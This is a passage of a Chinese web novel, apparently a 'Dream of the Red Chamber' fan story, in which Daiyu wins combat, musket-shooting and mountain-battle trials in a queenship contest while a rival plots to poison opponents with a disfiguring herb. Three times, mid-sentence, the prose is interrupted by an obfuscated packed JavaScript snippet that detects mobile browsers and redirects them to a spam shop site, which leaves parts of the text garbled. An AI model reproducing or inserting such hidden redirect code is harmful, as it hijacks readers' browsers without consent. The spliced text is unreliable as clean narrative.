她何其有幸,能踏入这样的国度,能遇见这样一群女子,与她们同生同长。 此次横渡海峡,因出了些意外,有率先到达岸上的姑娘负伤。宰相容情,将第三关武考,延后了七天。 黛玉除了每天晨练唐手拳,并未追加练习,只要让身体从长泳的疲敝状态恢复过来,近身搏战于她而言并非难事。 她的学习重点,仍然放在对茜香国五岛十州及律法民俗上。 游击将军关千雪见林思政幸运地闯过了第二关,兴奋得睡不着觉,又在赌桌上追加了十两银子。 自从竞选国王开始,五大岛上的赌场就异常火爆,从前竞选成绩靠前又官声不错的人,成为了投注的热门人选。像林思政这样的新鲜人物,也不过是陪衬而已。 茜香国人的三大爱好:赛马、竞渡、赌博。无疑也反应出这里的人们,有很强烈的投机心理,贪婪侥幸,敢于冒险不惜孤注一掷。 关千雪见林思政只攻书本,忙提醒她道:“近身搏战几乎是每次竞选国王的必考题了,虽然不许带任何武器,但总有人想尽办法用暗器,手里剑、吹矢、手甲钩、石灰粉五花八门。 因为是淘汰制,就算用了违禁武器,只要未将对手弄死,赢了之后也不会剥夺通过资格,只是会捱一顿鞭子,所以大家都会想尽办法拼死一搏。” 黛玉听了依旧无动于衷,其实五轮武考中没有刀枪剑戟等冷兵器对战,就足够说明很多问题了。 在实际抵御外侮中,茜香国女性极少能通过比拼力量和技术战胜强敌,反而出其不意的暗器才是克敌制胜的法宝。 生死关头,公平道义不是活命的手段。所以考核重点其实是如何藏暗器,并制敌于无形。 晴雯是使用暗器的高手,她建议黛玉使用银针,只要藏在头发里,往对方穴位上一点,让其昏睡片刻就赢了。 黛玉摇头道:“最厉害的暗器是无形的,能够于环境融为一体,而不被人察觉。” “若是再冷些时候,倒是可以把麻沸散冻成冰针,刺进对方的肌肤。化成水就是无形的了。”晴雯托腮说道。 黛玉伸指在她额上一点,笑道:“你也知道要在滴水成冰的季节才能办到,眼下才十月。我倒是想起来,从前见识过表哥聚兽调禽的本事,若是能遣派毒虫,驱使飞蚁用来对敌,才叫厉害呢。” “那不成养蛊了吗?”晴雯歪头道,身上不禁起了一阵鸡皮疙瘩,“我在宫里见过,上皇被麻仙姑下了蛊,虽然能走路,当真如行尸走肉一般,太可怕了。” 黛玉将手一拍:“倒也不用养蛊,糟蹋众生。先制成可刺入、可回收的微小器皿,最后才用常见的昆虫外壳作为伪装。” “既要能推出去,又要能拉回来的,那不就是风箱了。我哥烧灶的时候就得拉风箱将火烧旺。等于说我们要做的,是将麻沸散推出去,再把针收回来的东西。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114262|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黛玉将一支鹅毛笔的小管,分出粗细两种,各剪半寸下来,削尖粗管的一头,管内灌入茶水,再把细管堵住管口插进去,挤出茶水,再抽回到来。 “大概就是这么个东西!只是还要简化操作,争取在一息之间收放自如。” 晴雯笑嘻嘻地说:“这玩意儿就交给我吧,我目力好,手指灵巧,最擅长弄这些了。姑娘只管看书去。” “那好,有劳晴太医了。”黛玉恭敬地给她作了一揖。 晴雯研究了两天,受了猪脬子和竹蜻蜓的启发,做了两个模具,一个能挤按回弹,一个能突刺抽吸。 分别用铃虫、稻蝗、蟋蟀的躯壳做容器,将暗器藏在其腹中。只需两指一压,饱含麻沸散的羽毛管就能刺入敌人的肌肤,再按一次,针管又能回缩到昆虫腹部。 为了提高暗器的药效,晴雯还设法将药剂浓缩成半凝固状,足以让一头牛倒地半盏茶的工夫。 第三关武考,也是在户外,监考官在地上画了大小不一的圈,随意叫两个人往圈中一站,近身搏斗就开始了。 搏斗没有时间限制,迫使对方两脚出圈十息,或者十息之间无法还手,就算赢了。 黛玉踏进圈内,都未抬眸看一眼对手,剑指一并,在她发迹线上一点,不过瞬息,那姑娘就倒地了。 监考官惊掉了下巴,还是黛玉提醒她:“可以数息了。” “哦、哦!”监考官这才如梦初醒般,击掌数数:“十、九、八、七……” 等到那倒地的姑娘悠悠醒来,黛玉已经在室内解发袒衣,接受检查了。 “林思政,未使用暗器,通关。” 黛玉拿到通关牌,穿好衣服,藏在袖口的小促织,早被她扔到了草丛中,被其他搏战的姑娘踩扁了,变成指甲盖大的一团黑点,谁也没有在意。 第四关参与火铳射击的人,只剩下一千人,每人十发铁丸。 射距为一百五十步,使用野狗皮做的豻皮侯为靶子,绘制了五圈纹饰,由内至外分红、白、蓝、黄、黑五色。 射中红圈记十数,射中白圈记八数,射中蓝圈记六数,射中黄圈记四数,射中黑圈记二数,脱靶不计数。 有了练习追诛的经历,射靶算得上是黛玉的拿手技能了。只是她从前未接触过前装滑膛的自生火铳,还需要适应枪托的后坐力。 但每个人只许发三次空枪练习,之后就要正式射击了。 监考官也知道火铳并未在民间普及,便安排有持铳经验的离职官员,先行射靶,以便后面的姑娘们现学现卖。 黛玉很有经验地先用棉花堵住了耳朵,观察首先被挑出来打靶的二十个人。 一眼望去,二十个人中有一个姑娘极为抢眼。她着装考究,戴着一顶无檐软帽,身穿笔挺红衣,肩缀金花吊穗,下着白色长裤,那陀枪的姿势犹如西洋兵样,气势不凡。 只见她一次空枪也不放,抬枪就射,一口气打出了十发铁丸。 “章德方,计数九十四。” 黛玉堵住耳朵听得不甚分明,摘下棉花后,就听到四周一片抽吸赞叹之声。 忽然那扛枪的洋装姑娘,飒然回头,将枪管对准黛玉,做了一个抬枪射击的动作。 “嘭!”她说。 黛玉莫名其妙地眨了眨眼,自己与她素未谋面,这突如其来的威胁算什么? 120.吾皇黛玉第一百二十回 章大将固守株待兔,林总旗奇计逸待劳 轮到黛玉射击时,她先将手里的滑膛自生火铳端起来,仔细观察了许久,熟悉了燧石夹、火镰、扳机龙头和添药池的位置。 举起枪先对着靶子放了一个空枪,猜想到是利用弹簧与火石磨擦而生火。 而她使用的追诛,其实更为先进一些,后坐力较小,有可拆卸的弹匣,一次可以连发二十枚,不需要时刻填弹。 黛玉适应了枪管的重量和发射节奏,对准靶子开始射击。 第一枪计数为六,黛玉缓了一口气,方才有飞蚊叮了自己的手指,微抖了一下,还好不曾脱靶。 听到身后有一声轻嗤,黛玉也不在意,凝神静气,举枪就射。 第二枪计数为十,第三枪计数为十,第四枪计数为十……第十枪计数为十。 “林思政,计数九十六。” 黛玉本不想太早冒头,被人盯上。只想求个中上通关即可,偏偏被那一声冷嗤刺激到了,不由打出了自己的最高水平。 于是传说中的林思政又以第一名的成绩,通过了第四关。 最后一关,分两组山林地骑兵对战。 并非是晋级成功的女子均分成两组对抗,而是由火铳射击成绩最佳的两位,分别成为红蓝两队的队长,其他人任意选择加入其中一人的队伍,每队不限人数,且六个时辰内可以投诚对方更换队伍,但不得以投降为手段进行间谍行为。若有违逆,即便获胜,也会被视为失败。 哪一队能在十二个时辰结束以前,占据归仁山的土地庙,即视为胜利。所使用的武器为弓箭、火铳、匕首三样。配备的其他军需工事物资,还有铲、镰、锯、黏土、渣土车、拌料水车等。要求战斗过程不得伤害当地村民,不得损毁村民家宅及物品。 原本有五百人通过了火铳射击关卡,但是第五关之前,大家都收到了“生死两不追究”的免责切结书。 也就是说,若同意参与战斗,就要做好有可能回不去的准备。这场战斗不是模拟战,而是真刀真枪的生死博弈战。 这历届女王竞选都未曾有过的情况,因此在面对这份“生死状”时,很多人选择了放弃。实际签字的人只有两百二十五人。 林思政作为射击关卡的头名,成为红方首领;章德方是射击关卡的次名,成为蓝方首领。剩下的二百二十三人,以暗中记名投票的方式,选择自己的阵营。 最终大家穿上红、蓝半臂衫汇集在归仁山脚下的时候,黛玉才发现她名下的红队,连她一起只有五十七人。而蓝队有一百六十八人。 选择红方的人都傻了眼,人数相差这么多,还怎么打,这不找死么? 章德方并不意外这样的结果,她的射击比赛虽然略输一筹,但是她拥有三年少宗伯的资历。 历届女王都有先为百司官员的背景,而且前次女王竞选,她只以数十票之差落败而已,可以说她此次竞选的优势十分明显了。 黛玉展眼望去,眼前的红方士卒,有不少人露出犹疑的表情,便问她们说:“我对于你们而言,不啻于陌生人,比不得章姑娘人头面熟,敢问各位如何称呼,又为何选择加入我的队伍?” 一个发束高马尾的姑娘率先举手:“我叫星月,我觉得你很幸运,一个不会游泳的人没被鲛鲨咬死,还拿了第一名,必有运气加持你。” “那请你继续相信我的运气,我一定会带你走向胜利。”黛玉道。 “好,我相信我的选择。”星月笑着,向黛玉比了一个大拇哥。 一个头系红色巾帼的姑娘说:“我叫栗花,因为我喜欢红色,我才选了红队。但万一你不行,我还是会投奔蓝队的。” 黛玉笑道:“很好,若我不中用,你大可去心中更理想的地方,不必为颜色所困。” 又有一个圆脸的姑娘双手抱臂说:“我叫武圆,看你长得好看,我才选你的,但为你搭上性命就不值了。所以我要去蓝方了。”说罢,她就将红色半臂衫一掀,露出胳膊上一个榆钱大小的胎记来,乐颠颠地去了蓝方阵营。 有了一个带头,后面又陆续走了几个人投向了蓝方阵营,章德方得意的笑声就没有断过。 “我劝你们直接投降认输算了,还能保住一条小命。” “这么少的人,我们也胜之不武啊,要不我把你的人还给你,再给你饶上几个充充数。” “章大将,别让我们白白送死啊。” “章大将,我一定好好干,你千万别送我回那边去。” 战前一个时辰,部分人选边站队后,红方五十人,蓝方一百七十五人。 黛玉面对章德方及叛变者的挑衅与嘲讽,一律充耳不闻,将四十九名红方成员的姓名及面貌一一记忆下来。 将她们带到了山脚下的红方营帐中,黛玉根据从前详研地方志的经验,在纸上绘制了简易的作战地图,平心静气地对红队成员说:“归仁山是一座高不过百丈的丘陵,东西两侧是三十丈高的陡峭山崖,如利刃直插,中间只有一个两丈宽的深水河道和一座木桥,地势十分险峻,易守难攻。若我们要赢得最后的胜利,要懂得藏势,先任蓝方占据土地庙,等到黄昏之后,再发动攻击。” 栗花皱眉道:“难道等他们固守工事、设置陷阱后,我们才上山,那岂不是自投罗网。” “你若是怯战畏敌,就直接投降好了,反正我们也没任何优势可言。” “我们一个人要干掉三四个人,才能打赢这场战斗,若是不先发制人,只有被动挨枪子的命。” 黛玉知道众人的疑虑在所难免,在正式战斗之前,与其做激昂的战斗动员,还不如告诉她们克敌制胜的法宝。 “大家不要因为我们人员少而焦急,这世上从来没有什么出奇制胜,以少胜多的事,只有巧用天时、地利与人和,以强胜弱而已。决定强弱胜负的不是人数,而是战斗结果。” 黛玉指着营帐中堆叠的红色半臂衫及武器装备说:“事先谁也不知道分组情况,所以双方人马配给的军需物资是一样的,都是二百二十五份。双方武器辎重量级相当,只要懂得形机之势、诈谲之变,三十人也能打出三百人的战力。” “别卖关子了,你先告诉我,咱们该怎么做?”星月急不可耐地说。 黛玉双手负后,微微抬起下巴,淡笑道:“在中原,统领五十军士的人为总旗,请你们先称呼我为林总旗。若你们一直怀疑我的能力,质疑我的判断,那还不如就此分道扬镳!” 此话一出,姑娘们面面相觑了一会儿,稀稀拉拉地喊了几句“林总旗”。 黛玉并不满意,她抬起火铳,朝着三百步开外的蓝方营帐开了一枪,帐顶的蓝旗应声倒下。 姑娘们浑身一震,而对方的火铳寥寥几声后,红方的旗帜依旧迎风招展。众人再不敢小瞧眼前美貌过人的林思政,齐刷刷两腿挺直,列队成阵,异口同声地喊:“林总旗。” “很好!”黛玉肩头一松,放下火铳,回转身来对旗下的姑娘们说:“眼下还请诸位检点个人装备,火铳、弹药、箭矢、马匹、干粮、止血药品,人人做到心中有数。” 众人纷纷行动起来,听到清晰的流水报数,黛玉满意地点了点头,对着地图继续说明自己的战略部署。 黛玉将二十七个射击水平较高的人,分为三个战斗小旗,九人负责进攻,九人负责掩护,九人负责支援,组成倒三角的阵型。 进攻小旗与掩护小旗可以应机轮换。彼此之间以四色旗帜为号,红色旗帜为进攻,绿色旗帜为撤退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126650|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,黄色旗帜为迂回包抄,紫色旗帜为静默隐蔽。 开战的哨声响起,蓝方人马已经冲向了山顶,为避免红色巾帼混淆指示号令,栗花摘下了巾帼,急忙道:“还有二十三个人没有安排呢!” 黛玉不疾不徐地说:“剩下的二十三人,我将分成四组,甲组五人立刻出发,侦查蓝方兵力火力部署情况,午时前汇报给我。乙组三人做军医后勤,丙组四人留在营地里随我制作空袭霹雳弹和烟花。丁组十人在悬崖绝壁上,寻找一个可以空袭蓝方的据点。” “空袭?”星月一脸震惊,她还是第一次听到这个词。 黛玉将地图挂在兰锜上,用匕首指着上面的两面峭壁,“归仁山东西两面的峭壁近乎笔直,想要到达东面山顶的土地庙,只有一座桥可以通过,蓝方一定会在桥头修筑堑壕工事,设置阵地,派重兵把守严阵以待,封锁我们的进攻路线。我们不能硬拼,要在他们意想不到的地方开阵攻势。” 栗花两手抻着巾帼,面露难色道:“归仁山又叫鬼人山,外乡人进来很难出去,困死于此,曝尸荒野的不知凡几。这么陡峭的山崖,如何能爬上去呢?” 黛玉笑道:“假舟楫者,非能水也,而绝江河。①归仁山植被众多,药草、野菜、染料丰富,峭壁上大树纵横,藤树相缠,用钩镰枪和绊马索可以帮助我们攀爬上去。” 这时候有个名叫苏合香的姑娘毛遂自荐:“本来我想自荐做军医的,我家世代行医,就住在归仁山的南山麓。平常我采药、打柴,需要攀爬陡壁,只用树藤就可以爬到山顶上去,这事就交给我来办吧。” “只需你探出一条上山顶的捷径,再把绊马索放下来,拉同伴上去,你再下来,还做军医吧。”黛玉见苏合香怯生生的样子,想来并不愿深入到战争前线,所以才预备做军医。 而到了山顶,占据居高临下的优势位置,且战线隐蔽,没有受袭的可能性,却无法发挥一个军医应有的作用。 苏合香点点头道:“我明白了!” 她接受了林总旗的任务,腰缠绊马索,肩挎竹篮,两手拽住树藤,一点点往上爬。不到一刻钟,那小小的身影就出现在山崖底下的大石洞前,把腰间的绊马索绳一端固定在大山石上,将其他十人也拉了上去。 苏合香下来后,前去哨探消息的五人,已经先后回来,报告各自探听到的消息了。 “章德方自封总大将,已经占据了土地庙,她在桥头安排了五十人,由枪奉行主事,修建堆积式的机枪工事。” “桥头东侧由弓奉行掌管,修筑隐蔽工事,埋伏了三十弓箭手。” “五十人驻扎在谷地,拉起了绊马索,预计当我们的人马出现在半山腰时,武者奉行将率领他们随时策应增防。” “尚军奉行统领四十人拱卫在土地庙前,土地庙南北面挖了许多陷阱,东西两侧是悬崖因此未设防。” “章德方及其他两位副将、一位军师、一位佑笔,以土地庙为墩台,通过夜举火、日举烟的方式传讯。兵粮奉行将所有兵粮、弓矢、弹药、被装等辎重都存放在了土地庙。” 黛玉听到谍报,相互对应,完全能推断出章德方的全部兵力部署。 “做得很好,看来她们完全采取了守株待兔的方针,放弃主动斗争,就相当于放弃胜利了。” 蓝方自以为据险而守,反而将自己陷入十分被动的局面。 黛玉根据以前制造佛朗机炮的经验,将散弹拆开制成了空袭霹雳弹和烟花。用竹筐盛装了霹雳弹与烟花,挂在了绊马索底端,让位于山崖洞口的十人伏兵小旗,傍晚以烟花为号,配合下面的正面突击行动。 晌午时分,红方在营地里好整以暇地吃过饭菜,安然午睡,蓝方已经神经紧绷地守了一整个白天了。 121.吾皇黛玉第一百二十一回 出奇制胜逆转乾坤,虚实变换势如破竹 到了下午酉时,驻扎在谷地的武者奉行,终于发现前方有杂沓的马蹄声响起,立刻命人拉起绊马索。 由五十人组成的火铳防线,全员呈跪姿躲在茂密的树木后,等待给红方迎头一击。 果然一排骑兵从马上向前摔下,如滚浪一般,武者奉行扬手发令:“射击!” 所有的枪口都对准了躺在地上红色半臂衫的人,旋即又一排不知死的骑兵奔驰而至,武者奉行又忙指挥道:“再拉绊马索!” 之后又是一轮密集的火铳声响,如此红方骑兵突破了七八回,都被蓝方猛烈的火力给干掉了。 有蓝方士卒提醒道:“武者奉行,我们的弹药快耗尽了,对方并没有这么多人,难道有人叛变了?” 武者奉行根据红方进攻的次数及弹药的消耗情况,大略计算了一下,怒道:“红方竟有百余人,没想到叛变的人如此之多,赶紧报告给总大将!” 待报信的人离开后,红方的骑兵就没再突破防线了。武者奉行派人去检视战场,这才发现他们上当了。 地上躺着的都是铠甲外套了红色半臂衫的假人,红方将假人绑在马上,驱逐马匹突破,以吸引火力,空耗她们的弹药。 正当她们惊觉大事不妙的时候,埋伏在她们身后的红方士卒,组成一字雁行阵冲杀上来。 武者奉行扫眼望去,她们的火力点竟然覆盖了半里山路,快速移动向前,战线的两翼总有人迅速补位上来,好似有千军万马一般。 果然还是有叛徒! 武者奉行没有充足的弹药可以依赖,只得勉强以匕首作战,然而冷兵器在长线作战中,完全不占优势。 这时候栗花为首的进攻小旗,开始了边放空枪,边劝降的策略。 “你们的弹药已经耗尽,蓝方已经有一百人加入了红方,我们人数占了上风,选择投降才是明智之选,铁弹可不长眼呀。” 武者奉行还想再挣扎一下,其他士卒已经心生动摇了,眼前红色半臂的士卒实在太多了,像红蚁群一样迅速向她们逼近,连绵不绝。 栗花抬高铳管,朝着武者奉行的发髻嘣了一枪,她的头发即刻散下来,慌乱间六神无主,更显得手足无措了。 很快,军心溃散的蓝方伏兵,陆陆续续有人举着双手加入了红方。栗花指着地上的假人说:“喏,一人捡一件红半臂穿上就行了。” 最终此地设伏的蓝方士卒全部归附红方,武者奉行心有疑惑,扭头又仔细数了数人数,加上她们四十九人,一共才七十六人而已。 也就是说除了回土地庙报信的那个士卒,她们四十九人,竟被二十七个人俘虏劝降了。 眼下红方士卒九十九人,蓝方士卒一百二十六人,战力已经相差无几了。 开弓没有回头箭,武者奉行见红方林总旗多谋善断,在人前指挥若定,用兵如神,大有后来居上之势,也就安心归附红方了。 章德方收到前方线报,说是有百人倒戈红方,不由大怒。 又听闻伏击部队,几乎全员附归了红方,更是气不打一处来,连忙从拱卫土地庙的四十人中抽调几人出来,到各路奉行那里,清点兵卒弹药情况。 只是守卫士卒这么一动,她们在土地庙前设置陷阱的具体方位,就被红方的斥侯窥察到了。 黛玉指示栗花,将蓝方俘虏与红方士卒混编,将二十七人的主力部队,扩充到八十一人。依旧细分为进攻小旗,掩护小旗,支援小旗,每小旗各二十七人。 剩下的十七人与五名斥候在山顶土地庙汇合,不断袭扰拱卫此地的蓝方士卒,将他们引入自己设置的陷阱中。 黛玉骑在马上,环顾四周,对支援小旗的士卒说:“西风渐烈,树木摇枝,不利于东向来箭。秋季河槽水枯,露出岩石,木桥之下会有空隙,你们可以趁夜偷渡到东边。” 待支援小旗出发后,黛玉又拿着马鞭指着桥头,说:“进攻小棋作为正面战场的主力,主要利用火铳与桥东弓箭手对峙,吸引桥头工事的火力,拉长战线。掩护小旗东西策应,与进攻小旗互相支援。” 命令传达下去后,众士卒各司其事,无有违逆。 当支援小组从桥下渡至河心处时,叛投蓝方的武圆发现桥下有动静,忽然大喊:“桥下!她们从桥下过来了!” 这一喊,桥东埋伏的弓箭手,连忙朝桥下乱射箭雨。 红方掩护小旗,借着河中一块岩石的掩护,打出紫色旗帜,静默隐蔽,伺机而动。 支援小旗趁蓝方弓箭手被桥下吸引注意的空隙,冲到桥上向彼岸机枪工事,投掷一排霹雳弹,正中准备填弹的枪奉行。 守卫机枪工事的蓝方士卒,见枪奉行被炸晕,顿时惊慌失措,临阵脱逃。 支援小组趁机冲过桥去,黛玉见状即刻向桥下的掩护小旗打出红旗。 掩护小旗的士卒齐齐扳梁腾跃,翻上桥面,拔出匕首,与箭羽耗尽的远攻射手展开近身搏战,很快蓝方弓奉行举手投降。 得闻弓奉行作战不力,桥头阵地不保。蓝方大将章德方连忙纵马下山,亲自下到机枪工事,端起火铳连发铁丸。 黛玉隐在树后,张弓搭箭,瞄准了章德方。 就在章德方向添药池中填铁丸的间隙,黛玉弓弦弹起,箭翎微晃,镝芒破空而出,直追章德方的右手腕。 不知从何处又飞来一箭,向章德方面门袭去。黛玉蹙眉,心知这一箭章德方躲不过,就是一个死,忙抬起火铳将暗箭射飞。 虽说她们都签了生死状,章德方对自己又颇有敌意,但黛玉并不想让单纯的武竞,变成流血事件。 当听到划破烈风的声音,章德方已经避之不及了,只得拼命后仰护住头颈,没曾想那箭的目标不是她的脑门,而是她的手腕。 当锐利的锋芒刺破了皮肉,扎进了骨头里,章德方痛苦地叫起来,引得身边的蓝方士卒都纷纷回头看她。 黛玉指挥着进攻小旗持续火铳突击不断,虽未前进多少,却最大限度地达到了消耗蓝方弹药、箭矢的目的。 就在天空暗下来的这一瞬,黛玉箭指苍穹,向空中射出一束烟花,埋伏在山崖洞口的红方士卒开始向蓝方桥头阵地,投射霹雳弹。 天空亮起来的一瞬,黛玉环视左右,寻找方才放冷箭的人,敏锐地捕捉到草缝中露出了一只眼,眼锋犀利,犹如鹰隼戾眸。 再定睛细察,只见苏合香猫腰抱头,蹲在草丛中浑身发抖。 “不用怕。”黛玉将腰间的水囊抛过去给她,转头又看向前方。 其实霹雳弹威力有限,仅比炮仗要响亮一点,但是连绵不绝的爆炸声及滚滚浓烟,造成的威慑力是巨大的。 以至于章德方与蓝方士卒困在机枪工事中,都辨不清霹雳弹从何而来,很快工事坍塌摧毁。 惊慌之下蓝方士气大泄,众人头顶炮弹之余,又被两侧夹击,仓皇恐慌之下,四散溃逃。 红方三支小旗汇合在桥头东侧,黛玉命令她们集中火力,追击蓝方残部,边打边劝降。 章德方左手攀藤,窜跳上树,借着树冠的遮掩,极目眺望,见红方火力连发,所有火铳都没有一息填弹的间隙,深为讶异。 这才发现,原来红方是由三人一组,联合进攻的模式。 进攻者正面攻击,掩护者侧翼补枪,支援者为双方填弹,只要进攻者药池一空,掩护者立刻作为主力进攻。 而原来的进攻者接受支援者递过来的火铳,又接替掩护者的站位。 如此轮流交替互补,横向如车轮一般,纵向又能打开一条不断补位,快速移动的线形战线。 看起来就像有源源不断的士卒填补进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138374|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样,让人望而生畏。 章德方不得已带领残部向山顶土地庙退守,可一到山门,却看见给敌人挖好的坑里,都摔进去了自己人,庙前还有余烟袅袅。 灰烬中残留的是烧毁的蓝色旗帜,显然红方士卒已经占领土地庙,并缴获了蓝方的辎重粮草及储备火铳及箭矢。 星月肩扛火铳,站在坑前劝降:“土地庙已被红方占领,若不想夜里在水坑里睡觉,就乖乖投降,加入红方。” 章德方见势不妙,只得弃土地庙而逃,她不知道眼下蓝方还残存多少士卒,愿意跟她走,也不知道手里还有多少可用的火铳。 如果只能得到一个答案,她希望距离战斗结束还有七个时辰。 这样还能冷静片刻后,就回去投降。 身为京兆章氏最具灵性的天才相师,她出生的时候就被族老预言是皇后命。 父亲高兴极了,为她取名章静,字德方,取自《易传》中“坤至柔而动也刚,至静而德方”,希望她将来能彰显坤德。 从小她就占算出太子禛钰会成为天下,在位年限最长的帝王,章家的兴衰全掌握在他手中。 所以她的哥哥章明,从小就被培养成太子的伴当,与太子一同出家为道,逐步取得太子的信任。 孝敏皇后去世后,太子回到宫廷,父亲要她以当太子妃为目标,赢得太子的喜爱。 可是她再费尽心思地讨好,如何卜算推断,也猜不透太子幽深难解的心。 那个人无视她心机里的炽爱与虔诚,眼角余光都不曾扫过她的影子,对其他女人也是一样。 她天真地以为,也许禛钰就没有心,直到林黛玉的出现,让她窥见了一二分天机。 原来他是与世长存的鸿蒙,让他堕落红尘的心,是为绛珠仙子而生的。 她输在了前世,可她不甘心就这样放弃,越是努力取悦禛钰,却越发得不到他的一眼看顾,还被驱逐出了宫廷。 反倒是耿直的哥哥章明,无心插柳柳成荫,被华光公主视为心上人。 兄长成为驸马已成定局,就意味着她永远不可能成为太子妃。 她只能想办法成为华光公主的伴读,进而成为太子的司衾娘子,她费尽心机以哥哥为诱饵,哄好了华光公主。 可惜太子并不给她这个机会,章静之名被从伴读名单中划去了。 为了得到禛钰,她告诉北静王,欲想登基为帝,需要戴冠雌凤、三阴婆的助力。 其实她是想通过刺激北静王谋反,襄助太子禛钰早日登基为帝,以期将她这位功臣纳入后宫。有没有名分,她都不在意了,她要的是成为禛钰的女人。 可是偏偏力挫北静王的人是林黛玉,禛钰明知道北静王妄想挟持上皇擅权秉国,却不肯带兵回援救驾。 而是任由林黛玉主导这一切,让林家以纯臣的姿态,赢得了民心和圣意,白白浪费了禛钰提前为帝的大好机会。 章静恨怨无及,就连追逐他背影的幻梦都成了泡影,偏偏又占卜出禛钰已经与林氏秘密成亲的事实。 一想到她暗恋了数年之久的男人,与另一个女人恩爱缠绵,她就嫉妒得发狂,分明从未拥有过禛钰,却好似失去了无数次一样。 好在鸿蒙与绛珠的私情不容于世,林黛玉为了一点不足挂齿的自尊心,选择了死遁到茜香国。 眼下她武竞输给了出奇制胜的林黛玉,算她运气不好。 她不能为一时成败误了大局,后面还有文竞,有里长、知事、明府、州牧地方四关要过,以及朝堂百司的考验,她经验丰富,优势在握,决不能轻言放弃。 此时哪怕向黛玉磕头祈降,她也会抛弃自尊,竭力忍耐。 只要她当上了茜香国的女王,就能得偿所愿。因为她占卜过了,禛钰这一生都不会有太子妃,他只会成为茜香国女王的情郎。 122.吾皇黛玉第一百二十二回 施阳谋黛玉行义举,蓄阴谋德方伤同僚 归仁山东西峭壁千仞,仿若剑锋。起更后西风呼啸,林泉高吟,夜雾缭绕中的密林,犹如鬼魅飘荡的舞台,让置身其中的人心惊胆战,不寒而栗。 在鬼影幢幢的森林中,仓皇出逃的章德方与一个黑黢黢的东西撞了个正着,两人都发出了惊恐的尖叫声,好在嗷了这一嗓子,让她们认出了彼此。 “武圆!”章德方强自镇定下来,喊出了对方的名字。 “大将,你怎么在这里?”武圆跌坐在地上,拍着胸口顺气。 章德方摸出火折子,吹了一口气,一点微光照在了两人中间。 她抬头看了看月亮的方位,已经开始向东落了,不由叹了口气。 六个时辰的投降换阵期已经过了。 “能活着就是万幸了。”武圆早已接受自己选错阵营的结果,即便她主动投降,也未必会被红方接受。 她的目标只是“苟惜性命到战斗结束”而已。 “蓝方应该还有不少人顽强抵抗,我们不该失去反败为胜的信心。” 一个声音从身后响起。 章德方回过头去,只见她的副将东魁拄着一根树枝,一瘸一拐地走过来。 “红方放弃驻守土地庙,只有几个人留在那里修缮屋顶,回填陷阱。红方主力还没有上山,极有可能四处搜捕蓝方士卒去了。 山脚下时不时有激战的火炮声传来,可见我们的人并没有背叛大将。还请大将鼓舞精神,卷土重来。”东魁昂奋挥拳,迫切地希望章大将能振作起来,带领他们逆转局势。 章德方眼眸亮了亮,有一种死而复生的庆幸,只要蓝方还有数十人在,她就有反败为胜的机会。 “归仁山上有两种毒草,一种叫枯人草,一种叫丰人草。若人食用了大量的枯人草,会耗尽气血,瘦成皮包骨,最后死亡。 而丰人草便是枯人草的解药,能肉白骨活死人,只是会让人面貌大变。但是若没有食用枯人草,直接食用丰人草,就会造成人眼爆睛突,额头肿胀。 枯人草百年才长十株,已经全部进献给了中原皇室制成秘药。而丰人草数量虽少,但年年都长,只要我们挖掘出来,向她们的粮食中大量投放,就能造成瞬时毁容之效。 若是她们的面貌与最初报名登记时的绘影图不一致,也就失去了与我们竞争的可能性,我们便可不战而胜了。” 章德方将自己所知的秘密,告诉了东魁与武圆,她已经没有心力与黛玉死拼了,用这种鬼蜮伎俩反而更快。 东魁激动起来:“这主意好!” 三人便点了火把,在密林中寻找丰人草的踪迹。 当他们距离山腰附近的时候,还能听到鞭马吆喝声,好似有两班人马在山林间互相较劲,除了有刀刃交接的铮然,还有凿石爆破之声。林中火把忽明忽暗,还能看到红蓝双方交错的身影。 武圆本无所谓输赢,根本不想费力劳神去找什么丰人草,也不想靠近双方的战斗范围挨枪子,便对东魁说:“不如我先去土地庙埋伏起来,等你们找到丰人草,我再接引你们把毒草拌入她们的粮食中。” 东魁与章德方对视一眼,章德方双手负后,沉吟片刻,开口道:“也好,你去吧。” “谨遵大将之令。”武圆一脸喜色,扭头就走。 东魁两手一抻绊马索,迅速从武圆身后将其扑倒,把人五花大绑起来。 章德方踱步过来,将藏在身后的一把草露了出来,抟成一团,往武圆嘴里塞去。 “这丰人草与其他杂草实在太像了,我需要一个试药的人,对于一个想当逃兵的人而言,这样的任务不是比投放毒草更轻松一点,不是吗?” 武圆瞪大了双眼,满目惊恐,被绑住了手脚的身体不断地向后挪动,试图抗拒毁容的命运,但是她没有后路可退了。 章德方捏住她的喉管,迫使她将草吞了下去。 